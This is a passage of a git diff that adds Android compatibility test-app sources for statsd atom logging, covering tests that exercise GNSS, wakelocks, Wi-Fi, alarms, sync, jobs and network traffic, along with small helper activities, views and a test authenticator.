+            Log.i(TAG, "Request Network Location updates.");
+            locManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER,
+                    0 /* minTime*/,
+                    0 /* minDistance */,
+                    locListener,
+                    Looper.getMainLooper());
+        }
+        waitForReceiver(context, TIMEOUT_IN_MSEC, mLatchNetwork, null);
+
+        // TTFF could take up to 90 seconds, thus we need to wait till TTFF does occur if it does
+        // not occur in the first SLEEP_TIME_IN_MSEC
+        final CountDownLatch mLatchTtff = new CountDownLatch(1);
+
+        GnssStatus.Callback gnssStatusCallback = new GnssStatus.Callback() {
+            @Override
+            public void onStarted() {
+                Log.v(TAG, "Gnss Status Listener Started");
+            }
+
+            @Override
+            public void onStopped() {
+                Log.v(TAG, "Gnss Status Listener Stopped");
+            }
+
+            @Override
+            public void onFirstFix(int ttffMillis) {
+                Log.v(TAG, "Gnss Status Listener Received TTFF");
+                mLatchTtff.countDown();
+            }
+
+            @Override
+            public void onSatelliteStatusChanged(GnssStatus status) {
+                Log.v(TAG, "Gnss Status Listener Received Status Update");
+            }
+        };
+
+        boolean gnssStatusCallbackAdded = locManager.registerGnssStatusCallback(
+                gnssStatusCallback, new Handler(Looper.getMainLooper()));
+        if (!gnssStatusCallbackAdded) {
+            // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
+            Log.e(TAG, "Failed to start gnss status callback");
+        }
+
+        locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
+                0,
+                0 /* minDistance */,
+                locListener,
+                Looper.getMainLooper());
+        sleep(SLEEP_TIME_IN_MSEC);
+        waitForReceiver(context, TIMEOUT_IN_MSEC, mLatchTtff, null);
+        locManager.removeUpdates(locListener);
+        locManager.unregisterGnssStatusCallback(gnssStatusCallback);
+    }
+
+    @Test
+    public void testScreenBrightness() {
+        Context context = InstrumentationRegistry.getContext();
+        PowerManager pm = context.getSystemService(PowerManager.class);
+        PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.SCREEN_BRIGHT_WAKE_LOCK |
+                PowerManager.ACQUIRE_CAUSES_WAKEUP, "StatsdBrightnessTest");
+        wl.acquire();
+        sleep(500);
+
+        setScreenBrightness(47);
+        sleep(500);
+        setScreenBrightness(100);
+        sleep(500);
+        setScreenBrightness(198);
+        sleep(500);
+
+
+        wl.release();
+    }
+
+    @Test
+    public void testSyncState() throws Exception {
+
+        Context context = InstrumentationRegistry.getContext();
+        StatsdAuthenticator.removeAllAccounts(context);
+        AccountManager am = context.getSystemService(AccountManager.class);
+        CountDownLatch latch = StatsdSyncAdapter.resetCountDownLatch();
+
+        Account account = StatsdAuthenticator.getTestAccount();
+        StatsdAuthenticator.ensureTestAccount(context);
+        sleep(500);
+
+        // Just force set is syncable.
+        ContentResolver.setMasterSyncAutomatically(true);
+        sleep(500);
+        ContentResolver.setIsSyncable(account, StatsdProvider.AUTHORITY, 1);
+        // Wait for the first (automatic) sync to finish
+        waitForReceiver(context, 120_000, latch, null);
+
+        //Sleep for 500ms, since we assert each start/stop to be ~500ms apart.
+        sleep(500);
+
+        // Request and wait for the second sync to finish
+        latch = StatsdSyncAdapter.resetCountDownLatch();
+        StatsdSyncAdapter.requestSync(account);
+        waitForReceiver(context, 120_000, latch, null);
+        StatsdAuthenticator.removeAllAccounts(context);
+    }
+
+    @Test
+    public void testScheduledJob() throws Exception {
+        final ComponentName name = new ComponentName(MY_PACKAGE_NAME,
+                StatsdJobService.class.getName());
+
+        Context context = InstrumentationRegistry.getContext();
+        JobScheduler js = context.getSystemService(JobScheduler.class);
+        assertWithMessage("JobScheduler service not available").that(js).isNotNull();
+
+        JobInfo.Builder builder = new JobInfo.Builder(1, name);
+        builder.setOverrideDeadline(0);
+        JobInfo job = builder.build();
+
+        long startTime = System.currentTimeMillis();
+        CountDownLatch latch = StatsdJobService.resetCountDownLatch();
+        js.schedule(job);
+        waitForReceiver(context, 5_000, latch, null);
+    }
+
+    @Test
+    public void testVibratorState() {
+        Context context = InstrumentationRegistry.getContext();
+        Vibrator vib = context.getSystemService(Vibrator.class);
+        if (vib.hasVibrator()) {
+            vib.vibrate(VibrationEffect.createOneShot(
+                    500 /* ms */, VibrationEffect.DEFAULT_AMPLITUDE));
+        }
+        // Sleep so that the app does not get killed.
+        sleep(1000);
+    }
+
+    @Test
+    public void testWakelockState() {
+        Context context = InstrumentationRegistry.getContext();
+        PowerManager pm = context.getSystemService(PowerManager.class);
+        PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
+                "StatsdPartialWakelock");
+        wl.acquire();
+        sleep(500);
+        wl.release();
+    }
+
+    @Test
+    public void testSliceByWakelockState() {
+        int uid = Process.myUid();
+        int whatAtomId = 9_998;
+        int wakelockType = PowerManager.PARTIAL_WAKE_LOCK;
+        String tag = "StatsdPartialWakelock";
+
+        Context context = InstrumentationRegistry.getContext();
+        PowerManager pm = context.getSystemService(PowerManager.class);
+        PowerManager.WakeLock wl = pm.newWakeLock(wakelockType, tag);
+
+        wl.acquire();
+        sleep(500);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        wl.acquire();
+        sleep(500);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        wl.release();
+        sleep(500);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        wl.release();
+        sleep(500);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+        writeSliceByWakelockStateChangedAtom(whatAtomId, uid, wakelockType, tag);
+    }
+
+    private static void writeSliceByWakelockStateChangedAtom(int atomId, int firstUid,
+                                                            int field2, String field3) {
+        final StatsEvent.Builder builder = StatsEvent.newBuilder()
+                .setAtomId(atomId)
+                .writeAttributionChain(new int[] {firstUid}, new String[] {"tag1"})
+                .writeInt(field2)
+                .writeString(field3)
+                .usePooledBuffer();
+
+        StatsLog.write(builder.build());
+    }
+
+
+    @Test
+    public void testWakelockLoad() {
+        final int NUM_THREADS = 16;
+        CountDownLatch latch = new CountDownLatch(NUM_THREADS);
+        for (int i = 0; i < NUM_THREADS; i++) {
+            Thread t = new Thread(new WakelockLoadTestRunnable("StatsdPartialWakelock" + i, latch));
+            t.start();
+        }
+        waitForReceiver(null, 120_000, latch, null);
+    }
+
+    @Test
+    public void testWakeupAlarm() {
+        Context context = InstrumentationRegistry.getContext();
+        String name = "android.cts.statsdatom.testWakeupAlarm";
+        CountDownLatch onReceiveLatch = new CountDownLatch(1);
+        BroadcastReceiver receiver =
+                registerReceiver(context, onReceiveLatch, new IntentFilter(name));
+        AlarmManager manager = (AlarmManager) (context.getSystemService(AlarmManager.class));
+        PendingIntent pintent = PendingIntent.getBroadcast(context, 0, new Intent(name), PendingIntent.FLAG_IMMUTABLE);
+        manager.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
+            SystemClock.elapsedRealtime() + 2_000, pintent);
+        waitForReceiver(context, 10_000, onReceiveLatch, receiver);
+    }
+
+    @Test
+    public void testWifiLockHighPerf() {
+        Context context = InstrumentationRegistry.getContext();
+        WifiManager wm = context.getSystemService(WifiManager.class);
+        WifiManager.WifiLock lock =
+                wm.createWifiLock(WifiManager.WIFI_MODE_FULL_HIGH_PERF, "StatsdCTSWifiLock");
+        lock.acquire();
+        sleep(500);
+        lock.release();
+    }
+
+    @Test
+    public void testWifiLockLowLatency() {
+        Context context = InstrumentationRegistry.getContext();
+        WifiManager wm = context.getSystemService(WifiManager.class);
+        WifiManager.WifiLock lock =
+                wm.createWifiLock(WifiManager.WIFI_MODE_FULL_LOW_LATENCY, "StatsdCTSWifiLock");
+        lock.acquire();
+        sleep(500);
+        lock.release();
+    }
+
+    @Test
+    public void testWifiMulticastLock() {
+        Context context = InstrumentationRegistry.getContext();
+        WifiManager wm = context.getSystemService(WifiManager.class);
+        WifiManager.MulticastLock lock = wm.createMulticastLock("StatsdCTSMulticastLock");
+        lock.acquire();
+        sleep(500);
+        lock.release();
+    }
+
+    @Test
+    /** Does two wifi scans. */
+    // TODO: Copied this from BatterystatsValidation but we probably don't need to wait for results.
+    public void testWifiScan() {
+        Context context = InstrumentationRegistry.getContext();
+        IntentFilter intentFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION);
+        // Sometimes a scan was already running (from a different uid), so the first scan doesn't
+        // start when requested. Therefore, additionally wait for whatever scan is currently running
+        // to finish, then request a scan again - at least one of these two scans should be
+        // attributed to this app.
+        for (int i = 0; i < 2; i++) {
+            CountDownLatch onReceiveLatch = new CountDownLatch(1);
+            BroadcastReceiver receiver = registerReceiver(context, onReceiveLatch, intentFilter);
+            context.getSystemService(WifiManager.class).startScan();
+            waitForReceiver(context, 60_000, onReceiveLatch, receiver);
+        }
+    }
+
+    @Test
+    public void testWifiReconnect() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        wifiReconnect(context);
+        wifiDisconnect(context);
+        wifiReconnect(context);
+        sleep(500);
+    }
+
+    @Test
+    public void testSimpleCpu() {
+        long timestamp = System.currentTimeMillis();
+        for (int i = 0; i < 10000; i ++) {
+            timestamp += i;
+        }
+        Log.i(TAG, "The answer is " + timestamp);
+    }
+
+    @Test
+    public void testWriteRawTestAtom() throws Exception {
+        Context context = InstrumentationRegistry.getTargetContext();
+        ApplicationInfo appInfo = context.getPackageManager()
+                .getApplicationInfo(context.getPackageName(), 0);
+        int[] uids = {1234, appInfo.uid};
+        String[] tags = {"tag1", "tag2"};
+        byte[] experimentIds = {8, 1, 8, 2, 8, 3}; // Corresponds to 1, 2, 3.
+        StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, uids, tags, 42,
+                Long.MAX_VALUE, 3.14f, "This is a basic test!", false,
+                StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__ON, experimentIds);
+
+        // All nulls. Should get dropped since cts app is not in the attribution chain.
+        StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, null, null, 0, 0,
+                0f, null, false, StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__ON, null);
+
+        // Null tag in attribution chain.
+        int[] uids2 = {9999, appInfo.uid};
+        String[] tags2 = {"tag9999", null};
+        StatsLogStatsdCts.write(StatsLogStatsdCts.TEST_ATOM_REPORTED, uids2, tags2, 100,
+                Long.MIN_VALUE, -2.5f, "Test null uid", true,
+                StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__UNKNOWN, experimentIds);
+
+        // Non chained non-null
+        StatsLogStatsdCts.write_non_chained(StatsLogStatsdCts.TEST_ATOM_REPORTED,
+                appInfo.uid, "tag1", -256, -1234567890L, 42.01f, "Test non chained", true,
+                StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__OFF, experimentIds);
+
+        // Non chained all null
+        StatsLogStatsdCts.write_non_chained(StatsLogStatsdCts.TEST_ATOM_REPORTED, appInfo.uid, null,
+                0, 0, 0f, null, true, StatsLogStatsdCts.TEST_ATOM_REPORTED__STATE__OFF, null);
+
+    }
+
+    /**
+     * Bring up and generate some traffic on cellular data connection.
+     */
+    @Test
+    public void testGenerateMobileTraffic() throws Exception {
+        final Context context = InstrumentationRegistry.getContext();
+        doGenerateNetworkTraffic(context, NetworkCapabilities.TRANSPORT_CELLULAR);
+    }
+
+    // Constants which are locally used by doGenerateNetworkTraffic.
+    private static final int NETWORK_TIMEOUT_MILLIS = 15000;
+    private static final String HTTPS_HOST_URL =
+            "https://connectivitycheck.gstatic.com/generate_204";
+
+    private void doGenerateNetworkTraffic(@NonNull Context context,
+            @NetworkCapabilities.Transport int transport) throws InterruptedException {
+        final ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
+        final NetworkRequest request = new NetworkRequest.Builder().addCapability(
+                NetworkCapabilities.NET_CAPABILITY_INTERNET).addTransportType(transport).build();
+        final CtsNetUtils.TestNetworkCallback callback = new CtsNetUtils.TestNetworkCallback();
+
+        // Request network, and make http query when the network is available.
+        cm.requestNetwork(request, callback);
+
+        // If network is not available, throws IllegalStateException.
+        final Network network = callback.waitForAvailable();
+        if (network == null) {
+            throw new IllegalStateException("network "
+                    + NetworkCapabilities.transportNameOf(transport) + " is not available.");
+        }
+
+        final long startTime = SystemClock.elapsedRealtime();
+        try {
+            exerciseRemoteHost(cm, network, new URL(HTTPS_HOST_URL));
+            Log.i(TAG, "exerciseRemoteHost successful in " + (SystemClock.elapsedRealtime()
+                    - startTime) + " ms");
+        } catch (Exception e) {
+            Log.e(TAG, "exerciseRemoteHost failed in " + (SystemClock.elapsedRealtime()
+                    - startTime) + " ms: " + e);
+        } finally {
+            cm.unregisterNetworkCallback(callback);
+        }
+    }
+
+    /**
+     * Generate traffic on specified network.
+     */
+    private void exerciseRemoteHost(@NonNull ConnectivityManager cm, @NonNull Network network,
+            @NonNull URL url) throws Exception {
+        cm.bindProcessToNetwork(network);
+        HttpURLConnection urlc = null;
+        try {
+            urlc = (HttpURLConnection) network.openConnection(url);
+            urlc.setConnectTimeout(NETWORK_TIMEOUT_MILLIS);
+            urlc.setUseCaches(false);
+            urlc.connect();
+        } finally {
+            if (urlc != null) {
+                urlc.disconnect();
+            }
+        }
+    }
+
+    // ------- Helper methods
+
+    /** Puts the current thread to sleep. */
+    static void sleep(int millis) {
+        try {
+            Thread.sleep(millis);
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Interrupted exception while sleeping", e);
+        }
+    }
+
+    /** Register receiver to determine when given action is complete. */
+    private static BroadcastReceiver registerReceiver(
+            Context ctx, CountDownLatch onReceiveLatch, IntentFilter intentFilter) {
+        BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                Log.d(TAG, "Received broadcast.");
+                onReceiveLatch.countDown();
+            }
+        };
+        // Run Broadcast receiver in a different thread since the main thread will wait.
+        HandlerThread handlerThread = new HandlerThread("br_handler_thread");
+        handlerThread.start();
+        Looper looper = handlerThread.getLooper();
+        Handler handler = new Handler(looper);
+        ctx.registerReceiver(receiver, intentFilter, null, handler);
+        return receiver;
+    }
+
+    /**
+     * Uses the receiver to wait until the action is complete. ctx and receiver may be null if no
+     * receiver is needed to be unregistered.
+     */
+    private static void waitForReceiver(Context ctx,
+            int maxWaitTimeMs, CountDownLatch latch, BroadcastReceiver receiver) {
+        try {
+            boolean didFinish = latch.await(maxWaitTimeMs, TimeUnit.MILLISECONDS);
+            if (didFinish) {
+                Log.v(TAG, "Finished performing action");
+            } else {
+                // This is not necessarily a problem. If we just want to make sure a count was
+                // recorded for the request, it doesn't matter if the action actually finished.
+                Log.w(TAG, "Did not finish in specified time.");
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Interrupted exception while awaiting action to finish", e);
+        }
+        if (ctx != null && receiver != null) {
+            ctx.unregisterReceiver(receiver);
+        }
+    }
+
+    private static void setScreenBrightness(int brightness) {
+        runShellCommand("settings put system screen_brightness " + brightness);
+    }
+
+    private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
+
+    public void wifiDisconnect(Context context) throws Exception {
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.disconnect());
+        PollingCheck.check(
+                "Wifi not disconnected",
+                WIFI_CONNECT_TIMEOUT_MILLIS,
+                () -> wifiManager.getConnectionInfo().getNetworkId() == -1);
+    }
+
+    public void wifiReconnect(Context context) throws Exception {
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.reconnect());
+        PollingCheck.check(
+                "Wifi not connected",
+                WIFI_CONNECT_TIMEOUT_MILLIS,
+                () -> wifiManager.getConnectionInfo().getNetworkId() != -1);
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/Checkers.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/Checkers.java
new file mode 100644
index 0000000..ea84b67
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/Checkers.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.net.wifi.WifiManager;
+import android.os.Vibrator;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Test;
+
+/**
+ * Methods to check device properties. They pass iff the check returns true.
+ */
+public class Checkers {
+    private static final String TAG = Checkers.class.getSimpleName();
+
+    @Test
+    public void checkVibratorSupported() {
+        Vibrator v = InstrumentationRegistry.getContext().getSystemService(Vibrator.class);
+        assertThat(v.hasVibrator()).isTrue();
+    }
+
+    @Test
+    public void checkWifiEnhancedPowerReportingSupported() {
+        WifiManager wm = InstrumentationRegistry.getContext().getSystemService(WifiManager.class);
+        assertThat(wm.isEnhancedPowerReportingSupported()).isTrue();
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DaveyActivity.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DaveyActivity.java
new file mode 100644
index 0000000..5b3ab07
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DaveyActivity.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.widget.VideoView;
+import android.util.Log;
+
+
+public class DaveyActivity extends Activity {
+    private static final String TAG = "statsdDaveyActivity";
+
+    /** Called when the activity is first created. */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_davey);
+        DaveyView view = (DaveyView)findViewById(R.id.davey_view);
+        view.causeDavey(true);
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DaveyView.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DaveyView.java
new file mode 100644
index 0000000..2de8814
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DaveyView.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.view.View;
+import android.content.Context;
+import android.content.res.TypedArray;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.graphics.Paint.FontMetrics;
+import android.os.SystemClock;
+import android.util.AttributeSet;
+import android.util.Log;
+
+
+public class DaveyView extends View {
+
+    private static final String TAG = "statsdDaveyView";
+
+    private static final long DAVEY_TIME_MS = 750; // A bit more than 700ms to be safe.
+    private boolean mCauseDavey;
+    private Paint mPaint;
+    private int mTexty;
+
+    public DaveyView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+        TypedArray a = context.getTheme().obtainStyledAttributes(
+                attrs,
+                R.styleable.DaveyView,
+                0, 0);
+
+        try {
+            mCauseDavey = a.getBoolean(R.styleable.DaveyView_causeDavey, false);
+        } finally {
+            a.recycle();
+        }
+
+        mPaint = new Paint();
+        mPaint.setColor(Color.BLACK);
+        mPaint.setTextSize(20);
+        FontMetrics metric = mPaint.getFontMetrics();
+        int textHeight = (int) Math.ceil(metric.descent - metric.ascent);
+        mTexty = textHeight - (int) metric.descent;
+    }
+
+    public void causeDavey(boolean cause) {
+        mCauseDavey = cause;
+        invalidate();
+    }
+
+    @Override
+    protected void onDraw(Canvas canvas) {
+        super.onDraw(canvas);
+        if (mCauseDavey) {
+            canvas.drawText("Davey!", 0, mTexty, mPaint);
+            SystemClock.sleep(DAVEY_TIME_MS);
+            mCauseDavey = false;
+        } else {
+            canvas.drawText("No Davey", 0, mTexty, mPaint);
+        }
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DirectoryTests.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DirectoryTests.java
new file mode 100644
index 0000000..46f28ae
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/DirectoryTests.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import org.junit.Test;
+
+import java.io.File;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+public class DirectoryTests {
+
+    @Test
+    public void testStatsActiveMetricDirectoryExists() {
+        final File f = new File("/data/misc/stats-active-metric/");
+        assertTrue(f.exists());
+        assertFalse(f.isFile());
+    }
+
+    @Test
+    public void testStatsDataDirectoryExists() {
+        final File f = new File("/data/misc/stats-data/");
+        assertTrue(f.exists());
+        assertFalse(f.isFile());
+    }
+
+    @Test
+    public void testStatsMetadataDirectoryExists() {
+        final File f = new File("/data/misc/stats-metadata/");
+        assertTrue(f.exists());
+        assertFalse(f.isFile());
+    }
+
+    @Test
+    public void testStatsServiceDirectoryExists() {
+        final File f = new File("/data/misc/stats-service/");
+        assertTrue(f.exists());
+        assertFalse(f.isFile());
+    }
+
+    @Test
+    public void testTrainInfoDirectoryExists() {
+        final File f = new File("/data/misc/train-info/");
+        assertTrue(f.exists());
+        assertFalse(f.isFile());
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/IsolatedProcessService.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/IsolatedProcessService.java
new file mode 100644
index 0000000..abc3a49
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/IsolatedProcessService.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.StatsLog;
+
+public class IsolatedProcessService extends Service {
+    private static final String TAG = "IsolatedProcessService";
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        StatsLog.logStart(/*label=*/0);
+        return START_NOT_STICKY;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/LmkVictimBackgroundService.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/LmkVictimBackgroundService.java
new file mode 100644
index 0000000..0e97dbe
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/LmkVictimBackgroundService.java
@@ -0,0 +1,19 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.cts.device.statsdatom;
+
+public class LmkVictimBackgroundService extends StatsdCtsBackgroundService {}
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdAuthenticator.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdAuthenticator.java
new file mode 100644
index 0000000..8a0eb3a
--- /dev/null
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdAuthenticator.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *          http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.server.cts.device.statsdatom;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.util.Log;
+
+import java.util.Arrays;
+
+/**
+ * Authenticator for the sync test.
+ */
+public class StatsdAuthenticator extends Service {
+    private static final String TAG = "AtomTestsAuthenticator";
+
+    private static final String ACCOUNT_NAME = "StatsdCts";
+    private static final String ACCOUNT_TYPE = "com.android.cts.statsdatom";
+    private static Authenticator sInstance;
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        if (sInstance == null) {
+            sInstance = new Authenticator(getApplicationContext());
+
+        }
+        return sInstance.getIBinder();
+    }
+
+    public static Account getTestAccount() {
+        return new Account(ACCOUNT_NAME, ACCOUNT_TYPE);
+    }
+
+    /**
+     * Adds the test account, if it doesn't exist yet.
+     */
+    public static void ensureTestAccount(Context context) {
+        final Account account = getTestAccount();
+
+        Bundle result = new Bundle();
+        result.putString(AccountManager.KEY_ACCOUNT_TYPE, account.type);
+        result.putString(AccountManager.KEY_ACCOUNT_NAME, account.name);
+
+        final AccountManager am = context.getSystemService(AccountManager.class);
+
+        if (!Arrays.asList(am.getAccountsByType(account.type)).contains(account) ){
+            am.addAccountExplicitly(account, "password", new Bundle());
+        }
+    }
+
+    /**
+     * Remove the test account.
+     */
+    public static void removeAllAccounts(Context context) {
+        final AccountManager am = context.getSystemService(AccountManager.class);
+
+        for (Account account : am.getAccountsByType(ACCOUNT_TYPE)) {
+            Log.i(TAG, "Removing " + account + "...");
+            am.removeAccountExplicitly(account);
+            Log.i(TAG, "Removed");
+        }
+    }
+
+    public static class Authenticator extends AbstractAccountAuthenticator {
+
+        private final Context mContxet;
+
+        public Authenticator(Context context) {
+            super(context);
+            mContxet = context;
+        }
+
+        @Override
+        public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
+                String authTokenType, String[] requiredFeatures, Bundle options)
+                throws NetworkErrorException {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
+                String authTokenType, Bundle options) throws NetworkErrorException {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
+                Bundle options) throws NetworkErrorException {
+            return new Bundle();
+        }
+
+        @Override
+        public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
+                String authTokenType, Bundle options) throws NetworkErrorException {
+            return new Bundle();
+        }
+
+        @Override
